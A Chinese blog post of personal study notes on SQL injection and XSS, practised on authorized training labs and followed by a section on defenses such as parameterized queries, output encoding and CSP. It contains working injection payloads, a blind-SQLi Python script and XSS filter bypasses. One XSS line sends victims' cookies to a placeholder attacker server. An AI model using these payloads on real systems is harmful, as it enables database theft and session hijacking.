法律边界声明(请务必先读)

本文所有操作均在本人搭建或公开授权的靶场环境中完成,仅用于学习漏洞原理。
未经授权对他人系统进行 SQL 注入、XSS 等测试,违反《中华人民共和国网络安全法》,
情节严重的触犯《刑法》第 285 条、第 286 条,是刑事犯罪。
请只在自己的环境或明确授权的靶场里练习。

为什么开始碰 Web 安全

我本来主要在折腾逆向,直到有一次分析一个客户端程序,发现它的授权校验是从服务器拿的——绕过客户端根本没用,真正的口子在服务端。那次之后我意识到:只懂逆向,视野是残缺的。

于是决定把 Web 这块的基础漏洞过一遍。这篇文章是我的学习流水账,记录我用了哪些靶场、卡在哪儿、以及最后搞懂了什么。

靶场怎么选

靶场特点适合阶段
皮卡丘(Pikachu)国内最经典的 Web 漏洞练习平台,PHP 写的,一个页面一类漏洞,覆盖 SQL 注入 / XSS / CSRF / 文件包含 / 命令执行等十几类入门首选,把概念过一遍
封神台偏 CTF 实战,题目更贴近真实业务场景,往往带过滤和 WAF进阶,练绕过思路
sqli-labs只练 SQL 注入,65 关,把注入类型拆得极细专精 SQL 注入
DVWA每个漏洞分低/中/高/不可能四档难度,能清楚看到"防御是怎么加上的"理解防御
PortSwigger Academy英文,但讲解质量最高,且免费系统补漏

我的路线是:皮卡丘过概念 → sqli-labs 拆细 → 封神台练绕过 → DVWA 看防御。


一、SQL 注入

1.1 一句话原理

程序把用户输入当成 SQL 代码拼进了语句里。比如:

1
2
// 危险写法
$sql = "SELECT * FROM users WHERE username = '" . $_GET['name'] . "'";

正常输入 admin,拼出来是:

1
SELECT * FROM users WHERE username = 'admin'

但如果输入 ' OR '1'='1,就变成了:

1
SELECT * FROM users WHERE username = '' OR '1'='1'

条件永远为真,整张表被拖出来。本质是数据越界成了代码。

1.2 注入点怎么判断

皮卡丘第一关我就卡住了——不知道从哪儿下手。后来总结出固定套路:

第一步:找参数。 只要 URL 里有 ?id=1、?name= 这种,就是候选。

第二步:试探闭合方式。 分别试这几个,看报错信息的不同:

1
2
3
4
1'        → 单引号闭合
1" → 双引号闭合
1) → 括号闭合
1' -- → 注释掉后面的内容

判断技巧:输入 1' 报错、输入 1'' 又正常,基本可以确定是单引号字符型。

第三步:数字型还是字符型。

  • id=1 and 1=1 正常、id=1 and 1=2 异常 → 数字型
  • 上面两个没反应,但 id=1' and '1'='1 正常、id=1' and '1'='2 异常 → 字符型
我踩的第一个坑:-- 注释在 MySQL 里必须后面跟一个空格(写成 -- ),直接写 -- 是不生效的。我在这一关卡了快半小时,一直以为 payload 写错了,其实是注释没生效、后半句 SQL 报语法错误。
用 # 也能注释,而且不受空格限制,但 # 在 URL 里要写成 %23。

1.3 联合查询注入(有回显)

这是最舒服的一种,因为页面会直接把查询结果打出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 猜字段数
?id=1' order by 3 --
?id=1' order by 4 -- ← 报错,说明是 3 列

# 2. 找回显位
?id=-1' union select 1,2,3 --

# 3. 爆库名、表名、字段名
?id=-1' union select 1,database(),3 --
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --

# 4. 拖数据
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --

0x3a 是冒号 : 的十六进制写法,用来把用户名和密码隔开——直接写 ':' 容易被引号问题搞乱。

⚠️ 关键细节:id=-1。为什么要用负数?因为如果写 id=1,第一条查询有结果,页面就返回它了,你 union 出来的第二行根本不会显示。用一个查不到结果的值(负数、或者 99999),才能让 union 的结果占住回显位。

坑:我一开始用 id=1' union select ...,页面只显示第一篇文章,以为是回显位没对上,其实是第一条查询本身有结果。这个细节网上教程基本都不强调,但不知道就永远打不出来。

1.4 报错注入(无回显但有报错)

页面不显示查询结果,但会打印数据库报错信息时用它。皮卡丘里有几关专门是这种。

1
2
3
4
5
# extractvalue 方式
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --

# updatexml 方式(更常用,因为参数直观)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --

0x7e 是波浪号 ~,用作分隔符,方便从报错信息里一眼找到我们塞进去的数据。

报错大概长这样:

1
XPATH syntax error: '~pikachu~'

坑:updatexml 和 extractvalue 都只能返回 32 个字符,超长会被截断。要取长内容得配合 substr() 分段取:

1
and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)

我第一次爆表名只出来一半,还以为是数据有问题。

1.5 盲注(啥都不回显)

页面既不显示结果、也不打印报错,只能靠"对/错"或者"响应时间"一点点问出来。皮卡丘里对应的是布尔盲注和时间盲注。

布尔盲注:靠页面正不正常来判断

1
2
# 猜数据库名的第一个字符是不是 'p'
?id=1' and substr(database(),1,1)='p' --

页面正常 → 猜对了;页面异常/空白 → 猜错了。字符集一个一个试,最后用脚本跑。

1
2
3
4
5
6
7
8
9
10
11
12
# 示意:实际用靶场时写的小脚本
import requests
chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'
result = ''
for i in range(1, 20):
for c in chars:
url = f"http://靶场地址/vul/sqli/sqli_blind_b.php?id=1' and substr(database(),{i},1)='{c}' -- "
r = requests.get(url)
if '正确' in r.text or len(r.text) > 1000: # 判断条件
result += c
break
print(result)

时间盲注:页面完全没差别时

页面无论对错都长得一样,那就让数据库"卡一下":

1
?id=1' and if(substr(database(),1,1)='p',sleep(3),0) -- 

响应等了 3 秒 → 猜对了;秒回 → 猜错了。

坑:sleep() 在 MySQL 里有效,但如果目标是 SQLite 或 SQL Server 就要换写法(SQLite 没有 sleep(),SQL Server 用 WAITFOR DELAY)。
这个坑我在封神台某道题上遇到的——我用 sleep() 怎么打都没反应,后来才意识到后端是 SQLite,改用 randomblob(100000000) 这类靠计算量制造延迟的写法才有反应。

1.6 封神台上的绕过

封神台的题明显比皮卡丘"脏"——它会过滤关键字。我遇到并解决的几种:

过滤的东西绕过方式说明
空格/**/ 或 %09(Tab)union/**/select
and / or&& / `\\,或双写 anandd`
union select大小写混写 UnIoN SeLeCt、内联注释 /*!union*/
逗号substr(x from 1 for 1) 或 limit 0,1 换 limit 1 offset 0
引号0x 十六进制、char()'admin' → 0x61646d696e

最大的心得:绕过不是靠背,是靠先判断"是什么被过滤了"。我的流程是:

  1. 把 payload 逐段删,看哪一段开始报错 → 定位被过滤的关键字
  2. 再针对那个关键字找替代写法

上来就瞎试各种乱码,效率极低。


二、XSS

2.1 原理

跟 SQL 注入是一体两面:SQL 注入是数据被当成 SQL 代码,XSS 是数据被当成 HTML/JS 代码执行。

1
2
// 危险写法:直接把用户输入打印到页面
echo "搜索关键词:" . $_GET['keyword'];

如果 keyword 是 <script>alert(1)</script>,这段脚本就会在其他访客的浏览器里执行。

2.2 三种类型

类型触发方式危害皮卡丘对应
反射型payload 在 URL 里,需要诱导受害者点击一次性,主要用来钓鱼/盗 Cookie反射型 XSS
存储型payload 存进数据库,每个访问者都会中招最严重存储型 XSS
DOM 型完全在前端 JS 里发生,请求根本不发给服务器抓包看不到DOM 型 XSS

2.3 皮卡丘实操

反射型:在搜索框输入

1
<script>alert('xss')</script>

页面直接把搜索词原样输出到 HTML 里,脚本执行。

存储型:在留言板提交

1
<script>alert(document.cookie)</script>

提交后刷新页面还会弹——因为 payload 存进了数据库,每个访问留言板的人都会中招。这就是它比反射型危险的地方。

DOM 型:这个最有意思,我在这一关卡了好久。

页面里有类似这样的前端代码:

1
document.getElementById('output').innerHTML = decodeURI(location.hash.substring(1));

它从 URL 的 # 后面取内容,直接塞进 innerHTML。所以:

1
http://靶场/dom.html#<img src=1 onerror=alert(1)>

关键点:payload 在 # 后面,浏览器根本不会把这个部分发给服务器。 所以你在 Burp 里抓包,看到的是一个干干净净的请求,完全没有 payload 的痕迹。

我在这儿的坑:一开始一直在 Burp 里翻请求,死活找不到 payload 在哪儿,怀疑是抓包没抓到。
后来才明白:DOM 型 XSS 的攻击面完全在浏览器端,必须在 F12 的 Elements/Console 里调试,抓包工具帮不上忙。这个认知转变挺重要的。

2.4 常见绕过

皮卡丘难度低基本不拦,封神台上就要绕了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!-- 1. 标签被过滤 → 换事件属性 -->
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- 2. <script> 被过滤 → 用其他标签执行 JS -->
<img src=x onerror=alert(1)>

<!-- 3. 括号被过滤 → 用反引号(模板字符串) -->
<script>alert`1`</script>

<!-- 4. alert 被过滤 → 用其他弹窗 -->
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>console.log(1)</script>

<!-- 5. 大小写混写 -->
<ScRiPt>alert(1)</sCrIpT>

<!-- 6. 双重编码(看服务端解码几次) -->
%253Cscript%253E

2.5 Cookie 与 HttpOnly

XSS 最经典的利用是偷 Cookie:

1
<script>new Image().src='http://我的服务器/steal?c='+document.cookie</script>

但如果目标站给 Cookie 加了 HttpOnly 标记:

1
Set-Cookie: PHPSESSID=xxx; HttpOnly

那 document.cookie 读不到这个 Cookie,偷取就失败了。

这也是我理解"防御"的转折点:一个标记就能废掉一整类攻击。下面细说。

三、防御(我觉得比攻击更值得学)

打完靶场回头看防御,会发现思路其实非常统一。

3.1 SQL 注入

根本解:预编译 / 参数化查询

1
2
3
4
5
6
7
// 错误:拼接
$sql = "SELECT * FROM users WHERE name = '" . $_GET['name'] . "'";
$pdo->query($sql);

// 正确:参数化
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ?");
$stmt->execute([$_GET['name']]);

为什么这个能根治?因为参数化查询会把"SQL 结构"和"数据"在协议层就分开传输,数据库永远不会把你传的字符串解析成 SQL 语法。不是"过滤掉了危险字符",而是根本不存在被解析成代码的机会。

这是本质区别——过滤是黑名单,永远在追赶;参数化是白名单式的结构性防御。

配套的:

  • ORM(如 MyBatis 的 #{} 而非 ${})
  • 数据库账号最小权限(只给 SELECT/INSERT,不给 FILE、不给 DROP)
  • 关闭详细报错回显(display_errors = Off)
  • WAF(只是缓解,不能依赖)

3.2 XSS

根本解:输出编码(按上下文)

1
2
3
4
5
6
7
8
// HTML 上下文
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// JS 上下文
echo json_encode($input);

// URL 上下文
echo urlencode($input);

关键认知:XSS 漏洞发生在"输出"环节,不是"输入"环节。

很多人以为"过滤 <script>"就能防 XSS,这是错的——因为:

  1. 同一个数据可能被输出到 HTML、JS、URL 等不同上下文,需要的编码方式完全不同
  2. <img onerror=> 里根本没有 <script>
  3. 输入过滤会误伤正常内容(比如你想在博客里写代码教程)

正确做法是:输入时只做校验(长度、类型),输出时按上下文编码。

配套的:

  • CSP(内容安全策略):Content-Security-Policy: default-src 'self' —— 直接从浏览器层面禁止执行内联脚本,威力极大
  • HttpOnly Cookie:让 JS 读不到会话 Cookie
  • 富文本用成熟的白名单过滤器(如 DOMPurify),别自己写正则

3.3 一个统一的认知

漏洞本质
SQL 注入数据 → 被当成 SQL 代码
XSS数据 → 被当成 HTML/JS 代码
命令注入数据 → 被当成 Shell 命令
文件包含数据 → 被当成文件路径
XXE数据 → 被当成 XML 实体

所有注入类漏洞都是同一个病:把不可信数据当成了代码/指令。 理解了这一条,防御思路自然就统一了——在数据和代码的边界上做隔离,而不是追着黑名单跑。


四、工具

工具用途
Burp Suite 社区版抓包、改包、重放,我认为是必装的第一个工具
sqlmap自动化注入,但只可用于授权靶场,实战中用它会让你忽略原理
F12 开发者工具DOM 型 XSS 必备,Console 里直接试 payload
HackBar / 浏览器插件快速改 URL 参数
关于 sqlmap:我建议先用手工打一遍,再用 sqlmap 验证。
一开始就用 sqlmap 跑,你会得到结果但完全不知道为什么——靶场的价值就在于"为什么"。

五、我的心得

1. 靶场是"已知答案的题",真实环境才是考试。

皮卡丘和 sqli-labs 打完之后我一度觉得自己会了,直到在封神台碰到要绕 WAF 的题,才发现靶场那些 payload 一个都用不上。真实环境里有:参数化查询(根本打不进去)、各种过滤、WAF、日志监控。

2. 学防御比学攻击重要。

打完靶场我最大的收获不是"会打注入了",而是写代码时开始条件反射地用参数化查询,看到 echo $_GET[...] 会本能地觉得不对。这个习惯比会几个 payload 值钱得多。

3. 靶场分数不等于能力。

CTF 和靶场有固定套路,打得多了会形成"条件反射式解题"——看到数字型就 union,看到留言板就 <script>alert(1)。但真实业务不会给你这么标准的入口。能想明白"这里为什么会有漏洞",比能打通关更重要。

4. 一定要守住法律边界。

这一条放最后但最重要。我全程只在自建环境和公开靶场里操作。技术本身无善恶,但越界就是犯罪——这条线必须划死。


下一步

接下来打算补这几块:

  • [ ] CSRF 与 SSRF
  • [ ] 文件上传绕过(配合我之前的逆向知识看 WAF 原理)
  • [ ] 反序列化漏洞(Java / PHP)
  • [ ] PortSwigger Academy 把 XXE、SSTI 系统过一遍

慢慢来,记录在此,也算给自己一个交代。


本文所有内容仅用于学习交流,请勿用于任何未授权测试。